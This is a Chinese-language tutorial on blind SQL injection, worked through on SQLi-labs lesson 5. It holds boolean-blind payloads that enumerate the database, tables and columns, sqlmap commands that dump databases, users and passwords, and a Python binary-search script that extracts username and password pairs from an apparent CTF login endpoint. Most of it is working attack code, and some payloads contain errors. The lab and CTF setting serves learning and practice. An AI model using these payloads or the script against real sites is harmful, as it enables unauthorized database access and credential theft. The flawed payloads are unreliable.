盲注

页面不提供查询成功的结果,没有显示位,以第5关为例:

布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
猜测数据库

?id=1' and length(database())=8-- -

id=1' and left(database(),1)>'a' -- - 1

id=1' and left(database(),1)>'z' -- - 0

在 a-z 之间

id=1' and left(database(),1)>'r' -- -1

id=1' and left(database(),1)>'s' -- -0

id=1' and left(database(),2)>'sa'-- -

猜测表

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>111 a 是从 0 开始第几个表,b 是为第几个字符,n 是 ASCII 所对应的十进制数

第一个表 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101

第二个表 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101

判断 user 表 http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100%23

爆出字段 http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- -

sqlmap的使用

常规:python sqlmap.py -u”127.0.0.1/sqllabs/Less-5/?id=1”

python sqlmap.py -u”127.0.0.1/sqllabs/Less-5/?id=1” –tables -D security

万能用法(跑数据包),适用于post型

burp抓包保存为1.txt

1
2
3
4
5
6
7
8
9
10
11
12
python sqlmap.py -r "1.txt"                               #检测注入点是否可用
python sqlmap.py -r "1.txt" --dbs #爆出该mysql中所有数据库名称
python sqlmap.py -r "1.txt" --current-db #web当前使用的数据库
python sqlmap.py -r "1.txt" --current-user #web数据库使用账户
python sqlmap.py -r "1.txt" --users #列出sql所有用户
python sqlmap.py -r "1.txt" --passwords #数据库账户与密码
python sqlmap.py -r "1.txt" --tbales #输出所有的表
python sqlmap.py -r "1.txt" -D --tables #根据数据库名输出所有的表
python sqlmap.py -r "1.txt" -D -T --columns #爆出字段名(列名)
python sqlmap.py -r "1.txt" -D -T -C”username,realname,password” --dump

#指定要爆的字段 -D 数据库名 -T 表名 --threads 线程数,最多为10 --batch 自动选择


被爆出的数据库会生成一个日志文件保存在本地

5到8关代码对比

Less5

Less6

Less7

Less8

拓展:SqlMap参数大全

扩展:盲注二分法脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#-*-coding:utf-8-*-
import requests
import time

host = "http://web.jarvisoj.com:32787/login.php"

def getDatabase(): #获取数据库名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload= "1'^(ascii(substr((select(database())),%d,1))<%d)^1#" % (i,mid)
param ={"username":payload,"password":"admin"}
res = requests.post(host,data=param)
if "用户名错误" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("database is -> "+ans)

def getTable(): #获取表名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload = "1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1#" % (i, mid)
param = {"username": payload, "password": "admin"}
res = requests.post(host,data=param)
if "用户名错误" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("table is -> "+ans)

def getColumn(): #获取列名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload = "1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),%d,1))<%d)^1#" % (
i, mid)
param = {"username": payload, "password": "admin"}
res = requests.post(host, data=param)
if "用户名错误" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("column is -> "+ans)

def dumpTable():#脱裤
global host
ans=''
for i in range(1,10000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload = "1'^(ascii(substr((select(group_concat(username,0x3a,password))from(admin)),%d,1))<%d)^1#" % (
i, mid)
param = {"username": payload, "password": "admin"}
res = requests.post(host, data=param)
if "用户名错误" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("dumpTable is -> "+ans)

dumpTable()